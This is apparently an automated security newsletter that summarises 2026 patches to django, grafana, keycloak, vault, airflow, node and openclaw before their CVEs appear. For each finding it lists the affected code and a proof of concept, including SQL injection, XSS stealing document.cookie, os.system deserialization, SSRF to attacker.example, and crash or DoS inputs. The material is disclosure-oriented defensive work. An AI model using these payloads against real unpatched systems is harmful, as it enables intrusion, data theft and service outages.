📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Tuesday, August 11, 2026

📋 Today’s Briefing

371
Total Findings
92
Confirmed CVEs
204
Verified
7
Unverified
68
False Positives
CRITICAL: 3 HIGH: 150 MEDIUM: 129 LOW: 21
92 CVE matched
72 found before CVE
3 avg lead (days)
76 max lead (days)

⚠️ MEDIUM VERIFIED Sensitive Information Exposure (Credential Leak in Logs/Diagnostics)

Aug 7, 2026, 10:57 AM — openclaw/openclaw

Commit: e910324f101c77529641a9a3a613dde20a76bd96

Author: Peter Steinberger

Gateway connection URLs can embed basic-auth credentials or token/API-key query parameters. Before this patch, several diagnostic surfaces (`openclaw status`, `status --all` text/JSON, and `logs` CLI error output) printed the raw connection URL verbatim, including embedded secrets, and probe failure text/thrown errors could also echo credential-bearing URLs. This exposes live credentials to terminal output, log files, or bug reports pasted by operators.

🔍 View Affected Code & PoC

Affected Code

const targetText = params.remoteUrlMissing
  ? `fallback ${params.gatewayConnection.url}`
  : params.gatewayConnection.url;
...
error: resolveProbeFailureMessage(result),
...
const details = buildGatewayConnectionDetails({ url: opts.url });

Proof of Concept

Run `openclaw status --all --json` (or `openclaw logs --url wss://user:[email protected]/ws?token=secret&key=api-key`) against a remote gateway configured with a URL like `wss://user:[email protected]/ws?token=secret&key=api-key&X-Amz-Signature=signed`. Before the patch, the tool's status/JSON output or logs error diagnostics would include the raw URL string containing `password`, `token=secret`, `key=api-key`, and the signature verbatim, leaking credentials to anyone viewing the terminal output, CI logs, or a pasted bug report.

⚠️ MEDIUM VERIFIED Sensitive Information Exposure (Credential Leak)

Aug 6, 2026, 11:21 PM — openclaw/openclaw

Commit: d64f5b6a096088f1739ecd0e8c2f7182a0e90ce7

Author: Leon-SK668

The Google Chat API client read error response bodies from remote/proxy servers and included the raw text verbatim in surfaced error messages without redaction. If a malicious or misconfigured upstream/proxy server reflected the request's Authorization header (bearer token) back in the error response body, that token would be exposed in error messages returned to users, logs, or downstream consumers. The fix applies forced redaction (redactToolPayloadText) to the error response text before it is used in any error message.

🔍 View Affected Code & PoC

Affected Code

async function readGoogleChatErrorResponse(response: Response, label: string): Promise<string> {
  return (
    (await readResponseTextSnippet(response, {...})) ?? ""
  );
}

Proof of Concept

A malicious/compromised proxy or upstream server responds to a Google Chat API request with a 403 status and body: {"error":{"message":"Chat permission denied"},"reflectedHeader":"Authorization: Bearer <secret-token>"}. Before the patch, deleteGoogleChatMessage (and other API calls) would throw an Error whose message contains the full string 'Authorization: Bearer <secret-token>', exposing the real bearer token to anyone viewing the error (logs, UI, agent output). After the patch, redactToolPayloadText strips the token before it reaches the error message.

🔥 HIGH VERIFIED Broken Access Control / Cross-Tenant Authorization Bypass (IDOR)

Aug 6, 2026, 11:14 PM — grafana/grafana

Commit: e88041c9aee3ae2923327884b9c04be0325fe223

Author: Collin Fingar

The dashboard snapshot apiserver resolved snapshots by a global key without verifying that the snapshot belonged to the caller's organization/namespace. An authenticated user with snapshot delete permission in their own org could supply another org's public snapshot key to the `deletekey` subresource or `DELETE` endpoint, allowing them to read the secret deleteKey or delete a snapshot belonging to a different organization without proper authorization.

🔍 View Affected Code & PoC

Affected Code

snap, err := s.Service.GetDashboardSnapshot(ctx, &dashboardsnapshots.GetDashboardSnapshotQuery{Key: name})
if err != nil || snap == nil {
    return nil, false, err
}
// no org/namespace check before delete or before returning deleteKey

Proof of Concept

As a user authenticated in org 2 with snapshot delete RBAC permission, call GET /apis/dashboard.grafana.app/v0alpha1/namespaces/org-2/snapshots/<org-1-snapshot-key>/deletekey using the public snapshot key of a snapshot belonging to org 1. Before the patch, this returns the secret deleteKey for the org-1 snapshot; the caller can then issue DELETE /apis/dashboard.grafana.app/v0alpha1/namespaces/org-2/snapshots/<org-1-snapshot-key> to delete the org-1 snapshot, despite having no legitimate access to org 1's resources.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-16100 Uncontrolled Resource Consumption / Memory Exhaustion (CWE-400) via Metrics Cardinality Explosion

Aug 6, 2026, 02:26 PM — keycloak/keycloak

Patch landed 22 hours 53 minutes after CVE published

Commit: a569ef539a9d73e8b53634d6f368254a7052e2a8

Author: Alexander Schwartz

The Micrometer user event metrics listener created a distinct time-series counter for each unique combination of tags, including the 'error' tag (and clientId tag) which is derived from user-controllable input such as arbitrary exception messages or client IDs. An attacker could trigger many different error messages or use many distinct client IDs to generate an unbounded number of unique metric tag values, leading to unbounded memory growth in the metrics registry and potential OOM in Keycloak or downstream observability systems. The patch mitigates this by generifying error codes (e.g., using Errors.GENERIC/INVALID_SCOPE/CLIENT_NOT_FOUND instead of raw exception messages) and adding a MeterFilter that caps the number of distinct tag values (default 10000) for the error and clientId tags, denying new tag values once the limit is reached.

🔍 View Affected Code & PoC

Affected Code

event.error(e.getMessage());
...
String msg = String.format("No client with clientId: %s found.", clientId);
event.error(msg);
...
String msg = String.format("Scope id %s does not exist for client %s.", scopeRepresentation, consent.getClient().getName());
event.error(msg);

Proof of Concept

An attacker repeatedly calls the account REST API endpoint (e.g., DELETE /realms/{realm}/account/applications/{clientId}/consent) with thousands of distinct, attacker-controlled clientId values such as clientId1, clientId2, ..., clientidN. Each request triggers event.error(msg) with a unique error message string like 'No client with clientId: clientId12345 found.', which becomes a unique 'error' tag value in the keycloak.user Micrometer counter, causing the metrics registry to accumulate unbounded unique time series and eventually exhaust JVM memory.

⚠️ MEDIUM VERIFIED Authorization Bypass / Improper Access Control

Aug 6, 2026, 09:44 AM — openclaw/openclaw

Commit: 818190bd26d82586e37b0e8efc8bfe9b809acda9

Author: Pavan Kumar Gondhi

The plugin-node capability authorizer only checked whether a capability token existed and was unexpired, without checking if the owning client had already been invalidated (e.g., removed by an operator). This allowed a removed node's already-issued capability URL to continue authorizing Canvas HTTP requests during the window between invalidation and full connection teardown, since the invalidated client remained in the clients set and its capability entry was still matched.

🔍 View Affected Code & PoC

Affected Code

for (const client of params.clients) {
    const entry = client.pluginNodeCapabilities?.[storageKey];
    if (!entry || !isFutureDateTimestampMs(entry.expiresAtMs, { nowMs })) {
      continue;
    }

Proof of Concept

1. Node connects and receives a Canvas capability URL, e.g. http://gateway/__openclaw__/cap/<token>/__openclaw__/canvas/file.txt.
2. Operator removes the node, setting client.invalidated = true, but the WS connection close is still pending (client remains in the clients Set).
3. Before the patch, an attacker (or the still-connected node) sends GET http://gateway/__openclaw__/cap/<token>/__openclaw__/canvas/file.txt and receives 200 with the Canvas content, because hasAuthorizedPluginNodeCapability only checks expiresAtMs and ignores client.invalidated.
4. After the patch, the same request returns 401 immediately because invalidated clients are skipped in the authorization loop.

⚠️ MEDIUM VERIFIED Broken Access Control / Authorization Bypass (Cross-Context Restriction Bypass)

Aug 6, 2026, 09:08 AM — openclaw/openclaw

Commit: 528c5e08175fda0606590c8795330349bddc6858

Author: Pavan Kumar Gondhi

Feishu's message-action contract did not declare its native camel-case/snake-case chat identifier fields (chatId, chat_id, channel_id) as delivery targets for the edit, pin, and unpin actions. Because the shared cross-context policy engine only inspects declared delivery-target aliases, operators using these native Feishu fields could bypass the configured 'disable within-provider cross-context messaging' restriction and perform message mutations against a chat/conversation different from the current context.

🔍 View Affected Code & PoC

Affected Code

export const messageActionTargetAliases = {
  read: { aliases: ["messageId"] },
  pin: { aliases: ["messageId"] },
  unpin: { aliases: ["messageId"] },
  ...
};

Proof of Concept

With config tools.message.crossContext.allowWithinProvider=false and toolContext.currentChannelId='oc_current', call runMessageAction with action='pin' (or 'unpin'/'edit') and params={ channel: 'actionhub', messageId: 'om_pin', chatId: 'oc_foreign' }. Before the patch, because 'chatId' was not declared as a deliveryTargetAlias for pin/unpin, the cross-context guard never inspected it, so the pin action against a foreign chat 'oc_foreign' (different from the current conversation) would succeed instead of being rejected with 'Cross-context messaging denied'.

⚠️ MEDIUM VERIFIED Broken Access Control / Improper Authorization

Aug 6, 2026, 08:41 AM — django/django

Commit: 89e82866dc2746383c336c7b10e050b9da3ae1ef

Author: Jakob Friedrich

When using Django admin's 'save as new' functionality, inline formsets for related models where the user lacks add permission (but has view permission) could be rendered as editable/populated forms upon a validation error re-render, because the total/initial form counts were not cleared before instantiating the formset. This allowed a user without add permission on the inline model to potentially submit and persist changes to inline objects that they should only be able to view, effectively bypassing the permission check enforced elsewhere in the admin.

🔍 View Affected Code & PoC

Affected Code

formset_params = self.get_formset_kwargs(request, obj, inline, prefix)
formset = FormSet(**formset_params)

Proof of Concept

A user with view-only permission on an inline model (e.g., Article under Section) but without add permission triggers a save-as-new POST that fails parent validation (e.g., submitting empty 'name' field) while including inline formset management data such as 'article_set-TOTAL_FORMS=1' and 'article_set-INITIAL_FORMS=1'. Because the code did not zero out these counts based on the add-permission check, the re-rendered formset shows editable inline forms with existing data, allowing an attacker to craft further POST requests that modify or add inline objects despite lacking add permission on that inline.

⚠️ MEDIUM VERIFIED Sensitive Information Exposure (Credential Leak)

Aug 6, 2026, 03:38 AM — openclaw/openclaw

Commit: ab74723229b98b9df04f1d7b45f03e58d7ef5846

Author: Alix-007

When a proxy or upstream server reflected the Discord bot's Authorization header value back in an error response (either HTML/text or JSON body), the raw bot token would be included unredacted in the error message surfaced to users/logs. This could expose the bot credential to anyone who could view logs, error output, or troubleshooting UI. The patch adds redaction of the token via redactToolPayloadText before formatting the final error text and before summarizing HTML bodies.

🔍 View Affected Code & PoC

Affected Code

function formatDiscordApiErrorText(text: string, response: Response): string | undefined {
  const trimmed = text.trim();
  ...
  return retryAfter ? `${message} (retry after ${retryAfter})` : message;
}

Proof of Concept

Set up a malicious/misconfigured proxy that echoes the Authorization header back in its error response, e.g. respond with body: `<html><body>proxy failure Authorization: Bot proof-prefix-discord-loopback-secret-proof-suffix; request rejected</body></html>` on a 502. Before the patch, calling requestDiscord('/gateway/bot', token, ...) would produce an error message containing the full bot token string in plaintext (visible in logs/console), e.g. 'Discord API /gateway/bot failed (502): proxy failure Authorization: Bot proof-prefix-discord-loopback-secret-proof-suffix; request rejected'. After the patch, the token is redacted so the leaked secret does not appear in the error text.

⚠️ MEDIUM VERIFIED Sensitive Information Exposure (Credential Leak)

Aug 5, 2026, 08:20 PM — langchain-ai/langchain

Commit: 3e871a148d7bb6f542f4c2328523a57b8dff0afe

Author: John Kennedy

The evaluation runner copied the Git remote URL verbatim into LangSmith run tags without stripping embedded credentials (userinfo) from HTTPS or SSH-style URLs. If a developer's local git remote contained an access token or password (e.g., `https://user:[email protected]/...`), that secret would be persisted and exposed in run metadata/tags, which may be visible to other users or logged systems. The patch adds sanitization that strips userinfo while preserving host/path identity, and fails closed (omitting the tag) for ambiguous or malformed URLs.

🔍 View Affected Code & PoC

Affected Code

for k, v in (project.metadata.get("git") or {}).items():
    tags.append(f"git:{k}={v}")

Proof of Concept

If a developer's git remote is configured as `https://alice:[email protected]/org/private-repo.git`, running `run_on_dataset(...)` would previously produce a run tag: `git:remote_url=https://alice:[email protected]/org/private-repo.git`, leaking the GitHub personal access token into LangSmith run tags visible to anyone with access to that evaluation run/project.

⚠️ MEDIUM VERIFIED Broken Access Control / Improper Authorization

Aug 5, 2026, 11:25 AM — grafana/grafana

Commit: 3e9bc31edb6b1346845c82b11f7494d08b7b7b7a

Author: Ezequiel Victorero

The ShortURL API authorizer allowed any authenticated user (including org role None) to update or patch the status subresource of any short URL object, regardless of ownership. This let non-privileged users, or even users with the lowest permission level, tamper with the status (e.g., lastSeenAt) field of short URLs belonging to other users/organizations, which the fix now restricts to admin-only access.

🔍 View Affected Code & PoC

Affected Code

case "update", "patch":
    if attr.GetSubresource() == "status" {
        return authorizer.DecisionAllow, "", nil
    }

Proof of Concept

As an authenticated user with OrgRole=None, send:
PATCH /apis/shorturl.grafana.app/v0alpha1/namespaces/{ns}/shorturls/{other-users-shorturl}/status
Body: {"status":{"lastSeenAt":"2099-01-01T00:00:00Z"}}
Before the patch this request is allowed by the authorizer for any authenticated user, letting a low-privileged user overwrite the status subresource of a short URL they do not own.

🔥 HIGH VERIFIED SQL Injection

Aug 5, 2026, 09:41 AM — hashicorp/vault

Commit: 04f9af145954fd0dd532267c9694a7ba1fbb0c06

Author: Vault Automation

The DisplayName field, which is user/token controlled (e.g., from token display names or OIDC/JWT claims), was passed unsanitized into database username templates used to generate credentials, allowing SQL metacharacters or malicious payloads to be injected into generated usernames sent to the database. The patch adds sanitizeDisplayName to strip all characters except alphanumerics, hyphens, and underscores before using DisplayName in the credential generation request, and adds a warning for username_template usage without truncation.

🔍 View Affected Code & PoC

Affected Code

newUserReq := v5.NewUserRequest{
    UsernameConfig: v5.UsernameMetadata{
        DisplayName: req.DisplayName,
        RoleName:    name,
    },

Proof of Concept

Create a Vault token with a display name containing SQL injection payload, e.g. `x'; DROP TABLE users; --`, then request database credentials via `vault read database/creds/my-role`. The unsanitized DisplayName is substituted into the username_template (e.g. `{{.DisplayName}}_{{random 8}}`) and passed to the DB plugin's CREATE USER statement, potentially breaking out of the intended SQL context and executing injected SQL against the backend database.

🔥 HIGH VERIFIED Denial of Service (Uncaught Exception)

Aug 5, 2026, 03:29 AM — openclaw/openclaw

Commit: 3bda007ca456ef2803c2a81fef24ba61c438a690

Author: Yuval Dinodia

The stdout data handler for MCP stdio child processes called ReadBuffer.append synchronously without a try/catch. When a server (or attacker-influenced tool-result payload) produces a stdout frame exceeding the 10MiB ReadBuffer cap, append() throws synchronously inside the event callback, resulting in an unhandled exception that crashes the entire host process and terminates all concurrent sessions. The patch wraps the append/processReadBuffer calls in a try/catch that routes errors to onerror and gracefully closes the transport instead of crashing.

🔍 View Affected Code & PoC

Affected Code

child.stdout?.on("data", (chunk: Buffer) => {
  this.readBuffer.append(chunk);
  this.processReadBuffer();
})

Proof of Concept

A malicious or compromised MCP stdio server (or one relaying attacker-controlled tool-result data, e.g., a large fetched web page or file content) writes more than 10,485,760 bytes to stdout before a newline delimiter. For example: `process.stdout.write(Buffer.alloc(10*1024*1024+1, 'A'))` from the child MCP server process. This causes `ReadBuffer.append` to throw 'ReadBuffer exceeded maximum size of 10485760 bytes' synchronously inside the 'data' event handler, which Node treats as an uncaughtException, crashing the entire OpenClaw host process and killing all concurrent user sessions.

🔥 HIGH VERIFIED Deserialization of Untrusted Data / Arbitrary Code Import

Aug 5, 2026, 02:25 AM — apache/airflow

Commit: 3a08a3d7792335ac9456cd44c92d8de3ae0d6ec1

Author: Jarek Potiuk

The BaseSerialization.deserialize method used import_string() on an attacker-controlled class name embedded in serialized DAG blobs (AIRFLOW_EXC_SER/BASE_EXC_SER nodes) to reconstruct exception objects. Because import_string will import arbitrary modules and access arbitrary attributes by dotted name, a crafted serialized DAG could cause the deserializer to import and execute code from any importable module (including modules with import-time side effects, or builtins like eval/os.system), leading to code execution or unintended behavior when a malicious/tampered serialized DAG is loaded. The patch restricts resolution to already-loaded classes validated as AirflowException subclasses or a fixed builtin allow-list, preventing import of attacker-named modules/classes.

🔍 View Affected Code & PoC

Affected Code

if type_ == DAT.AIRFLOW_EXC_SER:
    exc_cls = import_string(exc_cls_name)
else:
    exc_cls = import_string(f"builtins.{exc_cls_name}")

Proof of Concept

Craft a serialized DAG object with a BASE_EXC_SER/AIRFLOW_EXC_SER node whose exc_cls_name is set to 'subprocess.check_output' or 'os.system' (or any module path with import-time side effects), e.g.:
encoded = BaseSerialization._encode(BaseSerialization.serialize({'exc_cls_name': 'os.system', 'args': ['id'], 'kwargs': {}}), type_=DagAttributeTypes.AIRFLOW_EXC_SER)
BaseSerialization.deserialize(encoded)
Before the patch, import_string('os.system') would import the os module and return system, which is then called as exc_cls(*args, **kwargs) i.e. os.system('id'), executing an arbitrary shell command when the malicious serialized DAG is deserialized.

⚠️ MEDIUM VERIFIED Broken Access Control / Missing Authorization

Aug 4, 2026, 07:31 PM — grafana/grafana

Commit: 2b64f5c1f9febba82cedb964431f404bc870abab

Author: Ezequiel Victorero

The previous authorizer for the ShortURL Kubernetes API allowed any authenticated user, regardless of org role, to perform any operation including list, watch, delete, deletecollection, and update on any short URL resource. This means a low-privileged user (e.g., org role None or Viewer) could list all short URLs in the org (exposing internal paths/links created by other users) or delete/modify short URLs belonging to other users, since there was no ownership or role check.

🔍 View Affected Code & PoC

Affected Code

if !attr.IsResourceRequest() {
    return authorizer.DecisionNoOpinion, "", nil
}
// Any authenticated user can access the API
return authorizer.DecisionAllow, "", nil

Proof of Concept

As a low-privileged authenticated user (org role Viewer or None), send: DELETE /apis/shorturl.grafana.app/v1beta1/namespaces/{ns}/shorturls/{uid-of-another-users-shorturl} or GET /apis/shorturl.grafana.app/v1beta1/namespaces/{ns}/shorturls (list) — both succeed pre-patch, allowing the low-privileged user to enumerate or delete short URLs created by other users despite lacking admin/editor rights.

⚠️ MEDIUM VERIFIED Sensitive Data Exposure / Information Disclosure

Aug 4, 2026, 05:48 PM — argoproj/argo-cd

Commit: 994e271bcc3c591540bbe778bf09df303dcbf5f7

Author: Peter Jiang

When performing a server-side diff on a Kubernetes Secret, the kubectl.kubernetes.io/last-applied-configuration annotation on the predicted-live (target) resource was not masked, even though the corresponding annotation on the live resource was hidden. Since this annotation can contain the full JSON representation of the applied Secret (including plaintext data values), it could leak secret contents in the diff output (e.g., displayed in Argo CD UI/CLI diffs or logs) even though HideSecretData was meant to redact secret values symmetrically.

🔍 View Affected Code & PoC

Affected Code

if live != nil && liveLastAppliedAnnotation != nil {
    ... mask live's last-applied-configuration ...
}
// target's last-applied-configuration annotation was never masked

Proof of Concept

Create a Secret with data: {password: 'supersecret'} and annotate it (or have it annotated by kubectl apply) with kubectl.kubernetes.io/last-applied-configuration containing the full secret JSON with data.password base64-encoded plaintext. Run Argo CD's server-side diff (serverSideDiff) between the desired config and live state where the predicted-live object retains this annotation. Before the patch, the resulting PredictedLive diff output would include the un-redacted last-applied-configuration annotation, exposing the base64 'supersecret' value to anyone viewing the diff (e.g., via `argocd app diff` or the UI), even though the same value in .data.password was masked with '++++++++'.

🔥 HIGH VERIFIED Information Disclosure / Access Control Bypass

Aug 4, 2026, 03:01 PM — openclaw/openclaw

Commit: d06fc25a0c580bb1854fd890e0d849270fbec487

Author: Vincent Koc

Shared group and channel chat sessions automatically loaded the workspace-root MEMORY.md file into the bootstrap context, exposing private long-term memory/context intended only for the main private session to all participants in a shared group or channel. Additionally, hooks could re-add or relabel the MEMORY.md file after initial filtering, bypassing session-type-based restrictions on private memory exposure. The patch enforces filtering of private memory files based on an authoritative chatType, re-applies the filter after hook mutations, and tracks file source identity to prevent relabeling/aliasing bypasses.

🔍 View Affected Code & PoC

Affected Code

// Before: MEMORY.md loaded unconditionally at bootstrap regardless of chat type
// resolveBootstrapFilesForRun did not accept/enforce chatType,
// and hooks executed after initial filtering could re-add root MEMORY.md
// or alias/relabel it to bypass any filtering that did occur.

Proof of Concept

In a shared Slack/Discord channel session (sessionKey like 'agent:main:slack:channel:c1'), the bootstrap resolver would load and inject the workspace-root MEMORY.md (containing private long-term memory) into the shared session context, exposing it to all members of the channel. E.g., a hook registered via agent:bootstrap could add {name: 'SOUL.md', path: workspaceDir/MEMORY.md} — relabeling MEMORY.md as SOUL.md — to bypass name-based filtering and leak private memory content into a group chat that any participant could read.

💡 LOW VERIFIED Null Pointer Dereference (Denial of Service)

Aug 4, 2026, 02:53 PM — keycloak/keycloak

Commit: bce3153aa26207c07ac936112f4f30364eac4176

Author: Stefan Guilhen

The PatchRequest.setSchemas() method did not handle a null value for the 'schemas' field, allowing an unauthenticated or authenticated attacker to send a SCIM PATCH request with "schemas": null to trigger a NullPointerException on the server, resulting in an unhandled 500 error instead of a proper validation error (400). This could be used for minor denial-of-service or availability disruption of the SCIM PATCH endpoint.

🔍 View Affected Code & PoC

Affected Code

public void setSchemas(Set<String> schemas) {
    this.schemas = schemas;
}

Proof of Concept

PATCH /realms/{realm}/scim/v2/Users/{id} HTTP/1.1
Content-Type: application/scim+json
Authorization: Bearer <token>

{"schemas": null, "Operations": [{"op": "replace", "path": "active", "value": false}]}

Before the patch, this request triggers a NullPointerException on the server (uncaught exception / 500 error) because the schemas field is set to null and later dereferenced. After the patch, the server returns a proper 400 Bad Request.

⚠️ MEDIUM VERIFIED Uncontrolled Resource Consumption (Memory Exhaustion / DoS)

Aug 4, 2026, 01:29 PM — openclaw/openclaw

Commit: 00f3fb24693dd9f813344b5d580cf857339bf300

Author: Vincent Koc

The DiscordRealtimeVoiceSession queued completed 'exact speech' messages without any bound on count or size while provider readiness, an active response, or playback prevented delivery. A stalled or misbehaving session could accumulate an unbounded backlog of speech text in memory, leading to unbounded memory growth and eventual resource exhaustion, and could later flush a large stale backlog. The patch introduces a fixed budget (32 messages / 32 KiB) and terminates the session on overflow, clearing state to prevent unbounded growth.

🔍 View Affected Code & PoC

Affected Code

if (!this.bridgeReady || this.exactSpeechResponseActive || this.hasInterruptibleOutputAudio()) {
  this.queuedExactSpeechMessages.push(text);
  logger.info(

Proof of Concept

An attacker (or a stalled realtime provider) keeps a Discord voice session in a state where bridgeReady is false or exactSpeechResponseActive stays true indefinitely (e.g., by repeatedly triggering speech events while the provider never sends readiness/response-complete signals). Each incoming transcribed utterance calls the internal handler that unconditionally does `this.queuedExactSpeechMessages.push(text)` with no size/count cap. By continuously speaking or replaying audio into the channel for an extended period, the queue grows without bound (megabytes of text), consuming server memory indefinitely until the process OOMs or the stale backlog is dumped all at once when the session recovers.

⚠️ MEDIUM VERIFIED Sensitive Information Disclosure

Aug 4, 2026, 01:19 PM — apache/airflow

Commit: d41ac7b6d213682db3ef4d21bbb33e013dde4af4

Author: Jarek Potiuk

Configuration options registered as sensitive (like database connection strings with passwords) were only masked when queried under their base section name. Team-scoped overrides stored in `\[&lt;team&gt;=&lt;section&gt;\]` config sections or `AIRFLOW__&lt;TEAM&gt;___&lt;SECTION&gt;__&lt;KEY&gt;` environment variables bypassed the sensitivity check entirely, exposing secrets like database credentials in clear text via the config API and `as_dict()` output.

🔍 View Affected Code & PoC

Affected Code

if (section_l, option_l) in conf.sensitive_config_values or _is_per_key_sensitive_option(
    section_l, option_l
):
    value = "< hidden >"
else:
    value = conf.get(section, option)

Proof of Concept

Configure a team-scoped database override: set config section `[team_a=database]` with `sql_alchemy_conn = postgresql://user:secretpass@host/db`. Then query `GET /config/section/team_a=database/option/sql_alchemy_conn` via the Airflow API. Before the patch, the response returns the plaintext connection string with embedded password instead of `< hidden >`, because `(section_l, option_l)` = `("team_a=database", "sql_alchemy_conn")` never matches the base sensitive pair `("database", "sql_alchemy_conn")`.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-15307 Server-Side Request Forgery / Arbitrary File Write (SSRF/File Write via unsanitized raster input)

Aug 4, 2026, 11:49 AM — django/django

📈 Patch landed 6 hours 41 minutes before CVE published

Commit: f1949c1f9758947ade984c895ff16bef46f56520

Author: Jacob Walls

GeoDjango spatial lookups optimistically parsed lookup values as GDALRaster before falling back to GEOSGeometry parsing. Because GDALRaster's constructor could interact with GDAL virtual filesystem drivers regardless of the write=False flag, a malicious string or dict passed into a spatial lookup (e.g., via the Django admin's changelist filtering, which allows staff users to submit arbitrary lookups) could cause the server to write files to disk or issue network requests to attacker-controlled URLs. The patch blocks strings and dicts from being treated as raster input in lookup contexts unless explicitly wrapped in GDALRaster, closing the SSRF/file-write vector while preserving normal model field assignment behavior.

🔍 View Affected Code & PoC

Affected Code

def get_raster_prep_value(self, value, is_candidate):
    if isinstance(value, gdal.GDALRaster):
        return value
    elif is_candidate:
        try:
            return gdal.GDALRaster(value)
        except GDALException:
            pass

Proof of Concept

As a staff user with view permission on a model containing a RasterField/GeometryField, submit an admin changelist filter such as:

GET /admin/app/model/?field__contains={"driver":"HTTP","source":"http://attacker.example/malicious.tif"}

or a raw string path like:

GET /admin/app/model/?field__contains=/vsicurl/http://attacker.example/payload.tif

Before the patch, this dict/string would be passed to `gdal.GDALRaster(value)` during `get_prep_value`, causing GDAL to attempt to open/write the referenced raster (e.g., fetching from the attacker's server or writing a file to disk via certain drivers), even though the constructor requested write=False. After the patch, such strings/dicts are rejected with `DisallowedRasterLookup` unless explicitly wrapped by the caller in `GDALRaster(...)`.
CONFIRMED CVE

💡 LOW CONFIRMED CVE CVE-2026-15337 Denial of Service (Memory Exhaustion via Unbounded Cache Key Size)

Aug 4, 2026, 11:49 AM — django/django

📈 Patch landed 6 hours 41 minutes before CVE published

Commit: 27137e655e442e81095f1f8f77ff3870d9fdf169

Author: Natalia

The check_for_language() function used an lru_cache with maxsize=1000, but did not limit the length of the lang_code strings used as cache keys. An attacker could submit many distinct, very long language codes (e.g., via the set_language() view's POST data), causing up to 1000 large strings to be retained in memory as cache keys, consuming excessive process memory. The patch adds a length check (max 500 characters) before the cached lookup, so long codes are rejected without being cached.

🔍 View Affected Code & PoC

Affected Code

@functools.lru_cache(maxsize=1000)
def check_for_language(lang_code):
    if lang_code is None or not language_code_re.search(lang_code):
        return False
    return any(...)

Proof of Concept

POST to django.views.i18n.set_language with 1000 distinct 'language' values each ~100KB long (e.g., 'a'*100000 + str(i) for i in range(1000)). Each unique value becomes a cache key in check_for_language's lru_cache, retaining ~100MB of string data in memory per worker process, potentially exhausting memory across multiple requests/workers.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-15830 Denial of Service (Uncontrolled Resource Consumption / Stack Exhaustion)

Aug 4, 2026, 11:49 AM — django/django

📈 Patch landed 6 hours 41 minutes before CVE published

Commit: d2e59b77fe18de318a8272c2a7bbc798d84d1d0d

Author: Jacob Walls

Before this patch, GEOSGeometry parsing (from WKT or WKB) had no limit on the depth or number of nested GEOMETRYCOLLECTION elements. Because GEOS parses these recursively, a maliciously crafted input with deeply nested geometry collections could exhaust the stack or memory and trigger a fatal error/crash in GEOS, effectively causing a denial of service in any application that accepts user-supplied geometry data (e.g., via GeometryField model/form fields). The patch introduces a `max_geom_collections` parameter, forwarded through GEOSGeometry, model fields, and form fields, to cap the depth (for WKT) or total count (for WKB) of nested collections before they reach the GEOS library.

🔍 View Affected Code & PoC

Affected Code

def __init__(self, geo_input, srid=None):
    ...
    g = self._from_wkt(force_bytes(wkt_m["wkt"]))
    ...
    g = wkb_r().read(force_bytes(wkb_input))

Proof of Concept

Submit a WKT string with thousands of nested GEOMETRYCOLLECTION wrappers to a Django application using a GeometryField, e.g.:
value = 'GEOMETRYCOLLECTION(' * 100000 + 'POINT(0 0)' + ')' * 100000
GEOSGeometry(value)
Prior to the patch, this unbounded recursive parsing could cause GEOS to crash with a stack overflow or fatal error, taking down the worker process handling the request (DoS). After the patch, GEOSGeometry(value, max_geom_collections=N) rejects such deeply nested input before it reaches GEOS, raising a ValueError instead of crashing.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-15920 Cross-Site Scripting (XSS)

Aug 4, 2026, 11:49 AM — django/django

📈 Patch landed 6 hours 41 minutes before CVE published

Commit: 47511a21026cdd721d8fbf8571cc079bc38bb46d

Author: Natalia

The Django admin's display_for_field() rendered URLField values as clickable &lt;a href&gt; links without validating the URL scheme. A stored value using a dangerous scheme like javascript: or data: would be rendered as a clickable link, and clicking it would execute arbitrary script in the authenticated admin session (staff user context).

🔍 View Affected Code & PoC

Affected Code

elif isinstance(field, models.URLField) and value and not avoid_link:
    return format_html('<a href="{}">{}</a>', value, value)

Proof of Concept

Store a URLField value of `javascript:alert(document.cookie)` (or `data:text/html,<script>alert(1)</script>`) in a model instance via a form that doesn't enforce standard URL validation (e.g., a custom form field, bulk import, or a field without full URLValidator applied at save time). When a staff user views the changelist or read-only change form for that object, the admin renders `<a href="javascript:alert(document.cookie)">javascript:alert(document.cookie)</a>`. Clicking that link executes the JavaScript in the authenticated admin session, allowing session hijacking or arbitrary actions as that staff user.

🔥 HIGH VERIFIED Use-After-Free

Jul 26, 2026, 01:43 AM — nodejs/node

Commit: d4d35c6363af31a52764d1fb63e8a99734226997

Author: Mohamed Sayed

The Session object held only a weak reference (BaseObjectWeakPtr) to its parent DatabaseSync. If the JavaScript DatabaseSync object was garbage collected (and its underlying sqlite3 database closed/freed) while a Session created from it was still alive, subsequent operations on the session (e.g., changeset()) would dereference the freed database pointer, causing a use-after-free and crash (SIGSEGV). The fix changes the reference to a strong BaseObjectPtr so the database is kept alive as long as the session exists.

🔍 View Affected Code & PoC

Affected Code

BaseObjectPtr<Session> session =
    Session::Create(env, BaseObjectWeakPtr<DatabaseSync>(db), pSession);
...
BaseObjectWeakPtr<DatabaseSync> database_;  // The Parent Database

Proof of Concept

const { DatabaseSync } = require('node:sqlite');
let session = (() => {
  const database = new DatabaseSync(':memory:');
  database.exec('CREATE TABLE data(key INTEGER PRIMARY KEY, value TEXT)');
  const s = database.createSession();
  database.exec("INSERT INTO data VALUES (1, 'hello')");
  return s; // database reference dropped here, only session remains
})();
global.gc(); // with --expose-gc, forces collection of the now-unreferenced DatabaseSync
session.changeset(); // dereferences freed sqlite3* -> SIGSEGV crash (before patch)

⚠️ MEDIUM VERIFIED Denial of Service (Reachable Assertion / CHECK-fail crash)

Jul 25, 2026, 02:40 PM — nodejs/node

Commit: 3e06d536a9c3425bc8691ad7bb30918b45e4ae75

Author: RajeshKumar11

StringBytes::StorageSize contained a CHECK that fatally aborted the process when a hex-encoded string of odd length was written via Writev (e.g. an HTTP request body written before it is corked/flushed). This allowed a remote or local attacker who can influence data written as 'hex' encoding through a batched write path to crash the Node.js process, resulting in a denial of service. The patch removes the CHECK and uses integer division, consistent with the non-crashing single-write path.

🔍 View Affected Code & PoC

Affected Code

case HEX:
  CHECK(view.length() % 2 == 0 && "invalid hex string length");
  data_size = view.length() / 2;
  break;

Proof of Concept

const http = require('http');
const req = http.request('http://example.org', { method: 'POST' });
req.write('1', 'hex'); // odd-length hex string triggers CHECK failure and crashes the process due to auto-corking in http.request